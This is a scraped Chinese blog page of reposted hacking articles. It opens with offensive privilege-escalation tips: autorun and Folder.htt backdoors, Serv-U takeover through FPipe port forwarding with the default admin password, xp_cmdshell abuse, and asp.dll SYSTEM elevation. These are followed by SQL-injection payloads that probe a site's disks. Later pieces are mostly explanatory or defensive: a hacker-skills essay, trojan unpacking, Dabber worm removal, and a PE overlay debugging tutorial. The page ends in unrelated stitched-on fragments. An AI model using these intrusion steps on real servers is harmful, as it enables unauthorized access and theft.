autorun=xxx.exe,这个=后面自己写。加上只读、系统、隐藏属性,传到哪个盘都可以的,不相信他不运行。  15.desktop.ini与Folder.htt  引用:首先,我们现在本地建立一个文件夹,名字不重要。进入它,在空白处点右键,选择“自定义文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的 操作系统文件”),然后我们在Folder setting目录下找到Folder.htt文件,记事本打开。在任意地方加入以下代码:,然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了。只要等管理员浏览了此目录,它就执行了我们的后门。  16.su覆盖提权  本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重起一下Serv-U,于是你上面的所有配置都与他的一模一样了。  17.SU转发端口  43958这个是 Serv -U 的本地管理端口,FPIPE.exe上传他,执行命令:  Fpipe –v –l 3333 –r 43958 127.0.0.1  意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为$ak#.1k;0@p">#1@$ak#.1k;0@p,连接上后你就可以管理他的Serv-u了。  18.SQL帐户密码泄露  如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号(可以从他的连接数据库的ASP文件中看到),因为MSSQL是默认的SYSTEM权限。  引用:对方没有删除xp_cmdshell方法:使用Sqlexec.exe,在host一栏中填入对方IP,User与Pass中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”即可。然后点击connect,连接上后就可以在CMD一栏中输入你想要的CMD命令了。  19.asp.dll  引用:因为asp.dll是放在c:winntsystem32inetsrvasp.dll (不同的机子放的位置不一定相同),我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll""c:winntsystem32inetsrvasp.dll"。   好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去   了。注意,用法中的get和set,一个是查看一个是设置,还有就是你运行上面的你要到C:InetpubAdminScripts>这个目录下。  那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll 剔出特权一族。也就是用set这个命令,覆盖掉刚才的那些东东。  20.Magic Winmail   前提是你要有个webshell 引用:http://www.***.com/forum/read.php?tid=3587这里去看吧。  21.DBO……  其实,提升权限的方式很多,就看大家怎么利用了。加油吧,将服务器控制到底! 黑客教程之注入点得知是否有硬盘访问权赛迪网  【编辑提示:仅可学习,研究,切勿模仿!】  现在给大家说说怎么样通过注入点判断服务器的硬盘(分区)是否有访问权,   http://www.fun***.com/user/wmadown.asp?id=48187,这个是注入点了的。现在我们用 SQL查询语句试试,C盘是否有访问权限。  语句是:   and (select count(*) from c:autoexec.bat.c)>0  解释一下原理,其它AC数据库也是可以跨库查询。只要把 from 后的表名改成MDB数据库的硬盘绝对地址,后台加上个“. ”,接上要查的表名。例如,我要查D盘yqf.mdb中的ADMIN表:  and (select count(*) from d:yqf.mdb.admin)>0  这样的语句,只要知道服务器硬盘其它数据库地址,ACCESS也能跨库查询。只是不知道地址,所以这个无关紧要。  and (select count(*) from c:autoexec.bat.c)>0  为什么说用这句可以判断是否有硬盘访问权限呢?大家都知道c:autoexec.bat 是系统里自有的文件 无论哪个系统都有,而大家默认安装 WINDOWS也是装在C盘,如果这样找不到文件的话,你可以试试其它盘。  现在我们提交:  and (select count(*) from c:autoexec.bat.c)>0  看到吧“不可识别的数据库格式'c:AUTOEXEC.BAT'”报错信息,这样表示C盘有访问的权限。因为读到了AUTOEXEC.BAT把autoexec.bat当mdb数据库来处理了,所以就出现这样的错误提示。   现在我们用刚传的马去看看,呵,C盘有访问的权限吧。反之,如果没有访问权限,则会提示“c:autoexec.bat 已被另一种方式打开,或者无权访问。”类似这样的提示,就是无权限访问了。  不过 autoexec.bat 可以测试,比如 c:winntsystem32cmd.exe,这些系统原有的文件都可以用来试。  (t116)黑客经验谈之黑客所应有的基本技能赛迪网  黑客态度重要,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一些基本的技术你必须掌握。   这些基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去内容包括使用机器语言编程,而直到最近才包括了HTML。总的来说现在主要包括以下技术:  1. 学习如何编程  这当然是最基本的黑客技能。如果你还不会任何编程语言,我建议你从Python开始。它设计清晰,文档齐全,合适初学者入门。它是一门很好的入门语言,并且不仅仅只是个玩具;它非常强大、灵活,也适合做大型项目。我有一篇 Python评价详细说明这点。好的教程可以在Python网站得到。(译者:比较好的中文Python站点可能是http://pythonrecord.51.net。)  Java也是好的入门语言。它比Python难得多,但是生成的代码速度也快得多。它同时也是一种优秀的计算机语言,不止是用来入门。  但是注意,如果你只会一两门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个程序员的水平——你需要学会如何以抽象的方式思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种截然不同的语言。   如果要做一些重要的编程工作,你将不得不学习C语言,Unix的核心语言。C++与C非常其他类似;如果你了解其中一种,学习另一种应该不难。但这两种都不适合编程入门者学习。而且事实上,你越避免用C编程,你的工作效率会越高。  C非常有效率,节约你的机器资源。不幸的是,C的高效是通过你手动做很多底层的管理(如内存)来达到的。底层代码都是复杂极易出现bug的,会使你花极多的时间调试。如今的机器速度如此之快,这通常是得不偿失——比较明智的做法是使用一种运行较慢、较低效率,但大幅节省你的时间的语言。因此,选择Python。   其他对黑客而言比较重要的语言包括 Perl和 LISP。 Perl实用,值得一学;它被广泛用于动态网页和系统管理,因此即便你从不用Perl写程序,至少也应该学会看。许多人使用Perl的理由和我建议你使用Python的理由一样,都是为了避免用C完成那些不需要C高效率的工作。你会需要理解那些工作的代码的。  LISP值得学习的理由不同——最终掌握了它时你会得到丰富的启迪和经验。这些经验会使你在以后的日子里成为一个更好的程序员,即使你实际上很少使用LISP本身。  当然,实际上你最好五种都会(Python,Java,C/C++,Perl和LISP)。除了是最重要的黑客语言外,它们还代表了截然不同的编程思路和方法,每种都会让你受益非浅。  这里我无法给你完完全全的指导教会你如何编程——这是个复杂的技能。但我可以告诉你,书本和上课也不能作到(最好的黑客中,有许多,也许几乎都是自学成材的)。你可以从书本上学到语言的特点只是一些皮毛,但要使书面知识成为自身技能只能通过实践和虚心向他人学习。因此要作到读代码及和写代码。   学习如何编程就象学习用优美的自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,再读些,再写点…… 如此往复,直到你的文章达到你体会到的范文的简洁和力量。  过去找到适合阅读的好的代码是困难的,因为几乎没有大型程序的源代码能让新手练手。这种状况已经戏剧性地发生变化;开放源代码软件,编程工具和 操作系统(全都由黑客写成)现在已经随处可见。让我们在下一个话题中继续讨论……   2. 得到一个开放源代码的Unix并学会使用、运行它  我假设你已经拥有或者能使用一台个人电脑(今天的孩子们真幸福 :-))。新手们能够朝学习黑客技能迈出的最基本的一步就是得到一份Linux或BSD-Unix的一种,安装在个人电脑上,并运行它。  没错,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发布的——你无法读到它的源代码,也不可能修改它。尝试在运行DOS或Windows或MacOS的机器上学习黑客技术,就象是带着脚镣学跳舞。   除此之外,Unix还是Internet的操作系统。你可以学会上网却不知道Unix,但你不了解Unix就无法成为一名Internet黑客。因此,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此一直很不高兴,但Unix和Internet之间的联系已是如此之强,甚至连Microsoft也无可奈何。)  所以, 安装一套UNIX——我个人喜爱LINUX但还有其他种类的(是的,你可以同时安装Linux及DOS/Windows在同一电脑上)。学习它,使用它,配置它。用它在Internet上冲浪。阅读它的源代码。修改它的源代码。你会得到比在Microsoft操作系统上更好的编程工具(包括C,LISP,Python及Perl)。你会觉得乐趣无穷,学到在你成为大师之前意识不到的更多的知识。  你可以在 www.bsd.org找到BSD Unix的求助及其他资源。  (注:如果你是一个新手,我不推荐自己独立安装Linux或者BSD。安装Linux的话,寻求本地Linux用户组的帮助;或联系 Open Projects Network。 LISC维护着一些 IRC频道,在那里你可以获得帮助。)   3. 学会如何使用WWW和写HTML  黑客文化建造的大多东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对非黑客的普通人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的),你就需要学习掌握Web。  这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML, Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先完成一个主页。  但仅仅拥有一个主页不能使你成为一名黑客。 Web里充满了各种网页。大多数是毫无意义的,零信息量垃圾——界面时髦的垃圾,注意,垃圾的水准都类似(更多信息访问 The HTML Hell Page)。   要想有价值,你的网页必须有内容—— 它必须有趣或对其它黑客有帮助。这是下一个话题所涉及的……  4. 如果你不懂实用性的英语,学习吧  作为一个美国人和一个以英语为母语的人,我以前很不情愿提到这点,免得成为一种文化上的帝国主义。但相当多以其他语言为母语的人一直劝我指出这一点,那就是英语是黑客文化和Internet的工作语言,你需要懂得以便在黑客社区顺利工作。  这一点千真万确。大概1991年的时候我就了解到许多黑客在技术讨论中使用英语,甚至当他们的母语都相同,英语对他们而言只是第二语言的时候;据我知道的报导,当前英语有着比其他语言丰富得多的技术词汇,因此是一个对于工作来说相当好的工具。基于类似的原因,英文技术书籍的翻译通常不令人满意(如果有翻译的话)。   Linus Torvalds,一个芬兰人,用英语注释他的代码(很明显这对他来说不是凑巧)。他流利的英语成为他能够管理全球范围的Linux开发人员社区的重要因素。这是一个值得学习的例子。 Tag:黑客 教程 脱壳 提限 注入
chapi 发表于23时32分02秒 | 阅读全文 | 评论 0 | 编辑 | 分享 0
2006年09月30日
脱去诱惑的外衣 露出木马的本来面目脱去诱惑的外衣 露出木马的本来面目
出处:电脑迷
作者:郑志勇  木马与杀毒软件之间的战斗从来就没有停止过,通过对已知的木马进行加壳可以再次躲避杀毒软件的查杀。加了壳的木马可以防止被杀毒软件跟踪查杀和被跟踪调试,同时也可以防止木马本身的算法程序被别人静态分析。加壳软件通常可以分为压缩保护和加密保护两种。
压缩保护
  压缩保护就是利用特定的压缩算法把程序压缩打包,运行的时候在内存中执行解压过程并运行主程序。常见的压缩类加壳软件有:UPX、ASpack、Petite、PE-PACK、WWPack32、Shrinker等。以UPX为例,它的主要功能就是压缩,由于木马要在内存中释放后才能运行,所以对付这类加壳木马,凡是有内存杀毒功能的杀毒软件都能获得很好的查杀效果。
加密保护
  这类软件侧重的是加密和保护软件,在反编译和反调试功能方面比较完善,某些加密软件甚至可以做到锁定自身在内存中的进程而不让别的进程插进来。此类加壳软件由于具备反编译和反调试功能,杀毒软件很难查杀到壳里的木马。常见的加密类加壳软件有ASProtect、tElock、Armadillo、SVK Protector、Xtreme-Protector、Obsidium、PElock等。
给木马脱壳
  要给木马脱壳,需要先知道加了什么壳。PEid一款专用的查壳工具,可以方便的检测出软件到底是使用什么东西加的壳,给脱壳带来了极大的便利!木马Cmdshell.exe是个只有7KB的小木马,通过开放本机的54088端口,实现远程命令行控制。下面就详细介绍一下给木马Cmdshell.exe脱壳的过程。运行软件后,点击“File(文件)”右边的浏览按钮,打开Cmdshell.exe文件,这时在主界面中就可以看到该文件的加壳情况:Cmdshell.exe使用的是UPX加壳(如图1)。图1 给Cmdshell脱壳
  通常UPX加壳和脱壳工具是通用的,所以笔者选用了使用起来比较容易的UPX Shell对加壳文件进行脱壳。运行UPX Shell程序,点击“OPen(打开)”按钮,选定被加壳的程序。切换到“Compress(压缩)”标签,选择“Decompress(解压缩)”,再点击“GO(运行)”按钮,即可完成脱壳。脱壳后程序由原来的7K变成了20K,文件脱壳成功(如图2)。图2 UPX脱壳PE-Scan也是一款专用的查壳脱壳工具,能识别出当今流行的绝大多数壳的类型,而且功能更强。PE-Scan可以检测出一些壳的入口点(OEP),方便手动脱壳。运行Pe-scan,打开加了壳的木马,即可看到木马加壳的类型(如图3)。这里笔者使用了一个用Asprotect加壳的木马来做测试,由于目前的PE-Scan并不支持脱Asprotect壳,所以“脱壳”按钮无法使用。图3 PE-Scan脱壳
  为了脱去Asprotect壳,还需要使用另外一款脱壳软件stripperX来帮忙,它可以方便快捷地脱掉ASpack和ASProtect加的壳。运行stripperX,点击“open(打开)”按钮,选择要脱壳的文件,再点击“unpack(脱壳)”按钮即可生成目标文件,完成脱壳任务。需要注意的是由于ASProtect在不断升级,低版本的stripperX往往不能脱最新版本的ASProtect壳,目前stripperX 2.07版本支持脱ASpack 2.xx 和 ASProtect 1.2x版本的壳,stripperX 2.11版本支持脱ASProtect 1.3~2.0版本的壳(如图4)。图4 stripperX脱壳
  总的来说,脱壳要对症下药,先用PEid或PE-Scan查清楚壳的类型,然后找脱这种壳的工具,才能达到脱壳的目的。脱了壳的木马,就失去了保护,几乎所有的杀毒软件或木马查杀工具都能查杀它。当从网络上下载了某些怀疑有木马的程序,可以先用本文介绍的方法来检查一下,看看它是否被加了壳,如果是就要提高警惕了,建议不要使用。安全防范之手工删除假警察的方法
作者:五月 整理出处:天极安全
(1) 打开注册表编辑器,删除如下键值:
  HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
  Sassfix=%SYSTEM%package.exe
  (2) 打开任务管理器查看是否存在进程名为:package.exe(文件为%SYSTEM%package.exe)终止它
  (3) 将%SYSTEM%system,C:Documents and SettingsAll UsersMain menuProgramsStartUp目录及C:Documents and SettingsAll UsersStart MenuProgramsStarup目录下的文件:package.exe删除。
  注:%SYSTEM%是Windows系统的核心动态库所在目录,在Windows9X/ME下默认为:C:WINDOWSSYSTEM,Windows 2000/XP下默认为:C:WINNTSYSTEM32。
  相关内容:
  “假警察”(Worm.Win32.Dabber.a) 利用“震荡波”的后门及系统MS-4011漏洞进行传播,会尝试清除系统里的“震荡波”、“恶鹰”、“网络天空”等多个电脑病毒,可能造成系统异常。占用大量网络资源,可能会造成企业局域网运行缓慢甚至瘫痪。
  Windows 9X(可感染,但无危害)NT/2000/XP(可危害)
  1.复制自己到系统目录并实现自启动
  病毒运行后,将自己复制到%SYSTEM%目录,c:Documents and SettingsAll UsersMain menuProgramsStartUp目录及c:Documents and SettingsAll UsersStart MenuProgramsStarup目录中,文件名为:package.exe。在注册表HKEY_LOCAL_MACHINESOFTWARE
  MicrosoftWindowsCurrentVersionRun中加入自己的键值:sassfix=%system%package.exe,病毒使用"sas4dab"为互斥量。
  2.试图清除一些病毒的注册表键值:
  尝试删除注册表Run项中的以下键值,使之不能正常启动:
以下是引用片段:
Video Process.
TempCom.
SkynetRevenge
MapiDrv
BagleAV
System Updater Service
soundcontrl
WinMsrv32
drvddll.exe
navapsrc.exe
skynetave.exe
Generic Host Service
Windows Drive Compatibility
windows.Microsoft Update
Drvddll.exe
Drvddll_exe
drvsys
drvsys.exe
ssgrate
ssgrate.exe
lsasss
lsasss.exe
avserve2.exe
avvserrve32.avserve
  3.建立四个线程实现一些功能。
  (1)后门:
  病毒监视9898端口,等待客户端的连接。该后门可以执行一些如:执行文件,从特定网站下载文件等功能。
  (2)TFTP服务器:
  病毒监听69端口,实现一个tftp服务器,一旦病毒成功的利用漏洞攻击一个系统后被攻入的系统将从利用该服务器将病毒复制过去执行。以达到传播的目的。
  (3)一个空线程:
  病毒作者并没有实现任何代码。(可能下个版本将实现)
  (4)利用漏洞进行攻击
  病毒利用本地系统的ip进行计算,找到攻击目标地址并尝试对其5554端口(震荡波的后门)的连接。
  A.如果联接失败:
  病毒将尝试对其9898端口的连接(用以识别目标系统是否已被病毒感染过),失败(目标系统没有被病毒感染)时病毒利用MS04-011漏洞对目标系统进行攻击,并利用自己的tftp服务器将自己复制过去。
  B.联接成功:
  病毒将尝试对其9898端口的连接(用以识别目标系统是否已被病毒感染过)当失败(目标系统没有被病毒感染)时病毒利用震荡波的后门将自己复制过去。 Tag:木马 脱壳 安全 病毒 杀毒
chapi 发表于06时10分57秒 | 阅读全文 | 评论 1 | 编辑 | 分享 0
2006年04月20日
脱壳中的附加数据问题(overlay)1.前言
最近,在论坛上看到很多人在弄附加数据overlay的问题,加上上次答应了各位兄弟所以觉得写一些着方面的废话。如果下面的内容对你有帮助那是最好。
这篇文章我们将解决以下问题:
1.什么是overlay,怎么找到overlay?
2.为什么有些壳虽然有overlay但是却不用特别处理?
3.为什么有些壳只用粘贴overlay数据就ok了,而有些壳却要定位指针?
4.如何修复文件指针?
--------------------------------------------------
2.正文
一.什么是附加数据(overlay)
1.实际当中的overlay
其实,overlay虽然大家在脱壳当中觉得很陌生,但是他离我们并不遥远。在我们平时使用的软件当中,有一些软件要处理一些数据流文件,比如winamp。当我们下载了mp3文件(数据文件),没有播放器是不可能播放的,与此相关的还有很多,比如txt文件和notepad的关系也差不多。而这些数据文件被单独的保存在硬盘上,当我们使用notepad的打开功能的时候,就可以去读取数据文件里面的东西了。
overlay又是什么意思呢?他其实真正的意思就是取消打开功能,将这些需要读取的数据放到pe文件的后面,让程序自动的运行打开的功能。这样的功能就变成了一个notepad的程序对应只能打开一个文件。
最典型的就是一些软件可以把一些数据流文件生成exe文件,比如一些mp3生成器,flash生成器,以及我们用来做动画的S-demo。他们的作用就是将数据对pe进行捆绑。(这样做的结果也就是为什么我们对这些文件用UPX等pe压缩工具却不能压缩他的原因,这是后话了)

2.技术上的overlay
在我们对pe文件的overlay进行分析之前,我们要普及一下文件映射的知识。
在pe里面,有所谓的文件偏移RA,文件偏移大小RS和与其对应的虚拟地址偏移VA,虚拟地址偏移大小VS。
我们要深刻的理解以上的概念不是我这篇文章能说清楚的,但又是搞overlay必须得弄清楚的,于是我简单的说明一下。
在我们的磁盘上的pe文件里面,排列着的数据在运行的时候将被影射到内存空间。他们将被怎么影射呢?举个例子:
例1:
一个pe文件中只有两个区段(pe head不算)
第一个区段是.text VA=401000 VS=1000 RA=200 RS=100
第二个区段是.data VA=402000 VS=1000 RA=300 RS=100
假设我们打开winhex看到在文件偏移300处的情况是这样的:
RA=2FF 处的数据是12 RA=300处的数据是34

好了,现在当pe文件装到内存中,那么会出现什么结果呢。
1.文件偏移中的200开始的100个字节将被影射到内存的401000开始的100个字节,后面的F000个字节将用0填充。
2.文件偏移中的300开始的100个字节将被影射到内存的402000开始的100个字节,后面的F000个字节将用0填充。也就是说,在磁盘是上相邻的两个数据12和34,在内存空间中将分开得老远,12在40102FF处,而34却在402000处。当然这只是我自己随便举的一个极端的例子,实际上由于文件的对齐机制在磁盘上每个段的结束都是填充了大量的0为什么要讲这些呢?因为区段是一般将会被映射到内存的,如果上面的例子中。将.data区段去掉。那么在磁盘上就将会留下从RA=300到RA=400其大小为100的数据,不会被影射到内存中。而这部分数据就将被认为是附加数据-overlay。

3.做个实验
1.用lordPE的pe editor打开一个notepad
2.打开他的senctions看看
3.把他的最后一个区段的文件大小RS修改一下(改成F00吧,少影射100的文件)
4.用peid打开来看看吧。PEID显示:Microsoft Visual C++ 6.0 SPx Method 1 [Overlay]

说明什么问题呢?
1.overlay只是数据他是不映射到内存的,他将被程序以打开自己的方式来读取数据
2.只要不是区段里面包括的文件的大小,将被视为overlay好了到这里可以总结一下了:
1.附加数据是在附加在文件后面的,不被映射到内存空间中的数据,他提供他自己的程序打开自己来读取,所以dump下来的时候是没有overlay的,需要我们手动把这一部分的数据粘贴到dump下来的数据后面。
2.一般来说在区段里面我们能找到所有区段的大小,这个大小的后面就是overlay的开始,于是对于上面的实验来说,他的overlay的开始地方就是最后一个区段的RA+RS(就是C000+F00=CF00)大小是从CF00到D000的最后100。
3.现在可以回答一个简单的问题了。为什么有些壳是overlay的,但是我们却不用处理他。因为他根本没有读取后面的数据,按照我们上面的实验我们完全可以做另一个实验就是在原来的notepad后面添加一个字节的00,而这时peid也会视为是overlay。试问这样的overlay难道我们也要复制他吗?二.如何解决附加数据的问题 win32程序对文件的操作有两中普通的文件操作和内存镜象文件,在这里我们主要是讨论普通的文件操作。

1.要回答这个问题首先就会关系到两个函数CreateFileA和SetFilePointer。对于CreateFileA他是打开文件的函数,当你下断CreateFileA你会发现程序断下的时候,他的第一个参数就是这个pe文件在磁盘上的完全路径,表示他正在对文件打开,将要对他进行文件读写操作。这个函数我就不多说了。下面详细说说SetFilePointer DWORD SetFilePointer(
HANDLE hFile, //在用CreateFileA打开后得到的文件句柄
LONG lDistanceToMove, //要移动的距离,这个是低32位
PLONG lpDistanceToMoveHigh, //要移动的距离,这是高32位,要注意这是一个指向数据的指针
DWORD dwMoveMethod //表示指针开始的位置
);
因为用CreateFileA打开一个文件后,系统会给这个文件维护一个指针,一开始是指向文件的第一个字节的。这个函数的作用是人为的移动这个文件指针。理由很简单,overlay数据不是在文件的第一个字节处。而他的返回值就是移动后的文件的新指针的位置。
上面的有两个参数要注意:1.lpDistanceToMoveHigh这个和上面的lDistanceToMove不一样,他是一个指针。指向一个32位的内存地址里面放着高32位的移动距离,他和lDistanceToMove的低32位的距离合起来表示一共要移动的距离(感觉是多此一举,一个32位就可以寻址4G,难道有一个4G的文件!?,而且高32位还设置成指针,难道是怕直接引用还不够?MS真是考虑得长远!)2.dwMoveMethod有3个参数
FILE_BEGIN =0 表示指针不管当前的位置在什么地方,从第一个字节开始算。
FILE_CURRENT =1 表示指针继承上面的,最后移动到的位置
FILE_END =2 表示指针不管当前的位置在什么地方,从最后一个字节开始算。 2.为什么dump下来的程序需要定位overlay?

dump的意思就是将内存的数据全部存储到磁盘,也就说对于上面的那个例1的例子来说,当我们从磁盘再把他dump下来的时候并不是还是400的大小了,而是3000的大小了!这一点请务必弄清楚。这时在原来文件中在200位置的数据,在dump下来的文件中就在1000处,依次类推可以得到其他的文件位置,这也就是为什么我们在dump下来后需要将RA=VA RS=VS的原因,幸亏体贴的lordPE自动的完成了这一个步骤! 这时虽然我们把overlay的数据粘贴到脱壳后的程序,但是与原来的文件位置完全变了。导致我们脱壳以后要重新定位文件指针让他读取到正确的数据。

3.为什么有些程序粘帖了overlay的数据就ok了?

这个东西口说无凭让我们来实战一下吧。就用上次pendan2001兄弟给的做例子吧。 http://nj2.onlinedown.net:81/files/zmgb2.0.rar 在脱完壳以后,修复输入表。发现运行不了。呵呵~没有填加附加数据嘛,不然我举这个例子干什么。 看他的区段发现他的最后一个区段是8E00开始,大小是1000。所以我们估计他的附加数据是从8E00+1000=9E00开始的地方。 用winhex打开未脱壳文件,到9E00处吧。呵呵~发现上面有很多0,这就是为什么有些牛人告诉我们找前面是0的原因,其实其本质是因为文件的对齐机制。 复制从这里到后面全部的数据到修复好输入表的那个(为什么是要先修复输入表,等下你就知道了^^)

好了,可以运行了。不明白为什么是吗? 到程序里面看看吧 用od载入,下断bp CreateFileA 和bp SetFilePointer F9以后断下了,看堆栈0012FC70 00401183 /CALL 到 CreateFileA 来自 桌面钢笔.0040117D
0012FC74 0012FDA0 |FileName = "G:downloads桌面钢笔V2.0.exe" //开始打开文件了
0012FC78 80000000 |Access = GENERIC_READ
0012FC7C 00000001 |ShareMode = FILE_SHARE_READ
0012FC80 00000000 |pSecurity = NULL
0012FC84 00000003 |Mode = OPEN_EXISTING
系统安全之各类脱壳方法与注意事项 双系统注意事项
0012FC88 00000080 |Attributes = NORMAL
0012FC8C 00000000 hTemplateFile = NULL
0012FC90 0041F2B7 桌面钢笔.0041F2B7再运行又断下0012FC7C 004011A4 /CALL 到 SetFilePointer 来自 桌面钢笔.004011A2 //移动指针
0012FC80 00000030 |hFile = 00000030
0012FC84 FFFFFFF8 |OffsetLo = FFFFFFF8 (-8.) //负数表示向前移动
0012FC88 00000000 |pOffsetHi = NULL
0012FC8C 00000002 Origin = FILE_END //表示从文件的最后开始算又F9一下0012FC7C 00401220 /CALL 到 SetFilePointer 来自 桌面钢笔.0040121E
0012FC80 00000030 |hFile = 00000030
0012FC84 FFF5F738 |OffsetLo = FFF5F738 (-657608.)
0012FC88 00000000 |pOffsetHi = NULL
0012FC8C 00000002 Origin = FILE_END //又是从文件的最后算起好了,如果你再按一次会发现还是用FILE_END这个参数ok,知道什么了没有?我来解释一下用FILE_END参数表示指针从文件的最后开始移动,而附加数据无论在原来未脱壳的文件中和还是在脱壳的文件中,因为我们复制的是整个overlay区域,他的overlay部分的数据对于最后的一个字节的距离是不变的。他每次都用FILE_END当然我们这样复制就不需要重定位指针了,也就是说即使我们把原来的文件(从0地址开始)全部复制到脱壳后的文件中也是能够运行的,因为他是靠与最后的地址的距离来定位读取数据。换个说法,如果这个时候你把最后一个数据删掉,或者少复制哪怕是一个字节,就不能运行了。这也是我们为什么要先修复输入表的原因。总结:也就是说如果你把附加数据复制到脱壳后的程序发现能够运行,呵呵~恭喜你,你碰巧遇到用FILE_END为指针的程序。 4.下面我们来看看如果程序不用FILE_END的情况 还是以下面这个例子来说说吧

http://www.popbase.net/bbs/dispbbs.asp?BoardID=5&ID=1797

脱壳我就不说了。

打开区段发现这个附加数据的位置在4CA00+13724=60124(一个奇怪的位置^^) 复制以后发现不能运行,看来没这么好命,都是用FILE_END的啊! 我们要对比两个程序,所以最好两个都用OD载入,都到停在OEP处。

好了下断bp SetFilePointer这个是脱壳以后的程序的,运行以后断下0012FEBC 004091AA /CALL 到 SetFilePointer 来自 1_.004091A5
0012FEC0 00000168 |hFile = 00000168 (window)
0012FEC4 00060124 |OffsetLo = 60124 (393508.) //移动到60124处去
0012FEC8 00000000 |pOffsetHi = NULL
0012FECC 00000000 Origin = FILE_BEGIN //从头开始移动再看看未脱壳的,发现是一模一样的。这个60124不就是刚才附加数据开始的地方吗?看来脱壳后的程序不管这么多,还是访问了原来的位置,导致不能运行。好了,知道原因了以后我们就去解决他。关键是参数不对嘛~ATL+F9返回看看他是怎么压栈的。004091A0 /$ 51 push ecx ; /Origin
004091A1 |. 6A 00 push 0 ; |pOffsetHi = NULL
004091A3 |. 52 push edx ; |OffsetLo //这个EDX是关键
004091A4 |. 50 push eax ; |hFile
004091A5 |. E8 E2E0FFFF call ; SetFilePointer
004091AA . C3 retn //到这里F8 出来看看是什么地方对EDX赋上60124的。
00413780 . 0FB7C9 movzx ecx,cx
00413783 . 8B40 04 mov eax,dword ptr ds:[eax+4]
00413786 . E8 155AFFFF call 1_.004091A0
0041378B . C3 retn //到这里还是没什么结果,F8 继续00493570 . A3 C87A4A00 mov dword ptr ds:[4A7AC8],eax
00493575 . 33C9 xor ecx,ecx
00493577 . 8B15 CC7A4A00 mov edx,dword ptr ds:[4A7ACC] //哈哈~~找到你了
0049357D . A1 C87A4A00 mov eax,dword ptr ds:[4A7AC8]
00493582 . 8B30 mov esi,dword ptr ds:[eax]
00493584 . FF56 0C call dword ptr ds:[esi+C] //从这里call进去到SetFilePointer的
00493587 . E8 54FEFFFF call 1_.004933E0 //到这里原来是4A7ACC这的地址,对他下硬件写入,看看是什么时候写入了这个60124好了hw 4a7acc 重来,胜利在一步一步接近我们。00493496 . A1 D07A4A00 mov eax,dword ptr ds:[4A7AD0] //靠~是4A7AD0传给EAX的
0049349B . A3 CC7A4A00 mov dword ptr ds:[4A7ACC],eax //原来是这个EAX传过去的
004934A0 . EB 07 jmp short 1_.004934A9 //断在这里,望上看 再来下HW 4A7AD0 重来。0049927C |. C705 D07A4A00 24010>mov dword ptr ds:[4A7AD0],60124 //小样,还找不到你
00499286 |. C605 B27A4A00 01 mov byte ptr ds:[4A7AB2],1 //断在这里呵呵~~原来是0049927C这一句~~好了爆掉就可以了,把他改成你脱壳后的附加数据的开始地址就可以了。总结一下:对于定位指针我们一般是依靠SetFilePointer这个函数来一步一步的寻找定位的问题的突破口,这里各人有个人的方法我就不多说了,关键还是看你调试程序的功力如何。在看雪上,FLY大虾的《VB函数速查.eXe 脱壳后附加数据的修复》http://bbs.pediy.com/showthread.php?threadid=8789
问题的实质并不是指针指错了,而是虽然指对了overlay里面的数据,可是读出来的却是关联到未脱壳前的错误数据。可见,虽然是同一个问题但是实质和解决的办法不可能千篇一律,就像解决校验,解决overlay问题也需要具体问题具体分析。
--------------------------------------------------
3.总结
现在我想大家再回答开篇提出的几个问题已经不难了,其实我在文中也有答案了,但是我要强调的一点是对于PE文件的区段映射的概念的理解深入将有助你理解overlay的问题。我在这也不多言了。--------------------------------------------------
4.以后的思考
1.上面的那个60124是不是很奇怪啊,其实由于文件是对齐读入内存的,这部分的数据也将被影射到内存空间,不行你可以dd 4cb724看看。这就是说如果我们把区段扩大,把overlay也读入内存,虽然没什么用,但是却严重影响了我们对overlay的开始的判断!这种情况应该怎么拌呢?
2.换个思路,如果我们把文件的读写用于检验PE文件,应该怎么样设计一个简单的校验呢?
--------------------------------------------------
5.后话
本来这篇文章打算到放假才放出来毕竟现在太忙了,而且有很多想法也还不成熟,还有待实践,所以觉得这篇文章没有深入下去不得不说是一个遗憾,不过趁着新年就算给大家一个交代吧。随后我将进入紧张的复习阶段。但是,在这里还是要说一声:祝论坛里面的兄弟,新年快乐,万事如意。
谢谢您能看完,如转载请注明作者并保持文章的完整。

  

爱华网本文地址 » http://www.413yy.cn/a/25101012/122097.html

更多阅读

卫生间、厕所节水方法与窍门 生活中的节水小窍门

卫生间、厕所节水方法与窍门——简介提到厕所节水窍门,就不得不先把视角上提一下。所谓节约用水,规划先行。家庭节水,已经被列入城市改造规划当中,这是一项利国利民的规格。相信,大家也已经通过方方面面的渠道接收到各种各样的节水方法及

如何建仓之具体的操作方法 电解除锈具体操作方法

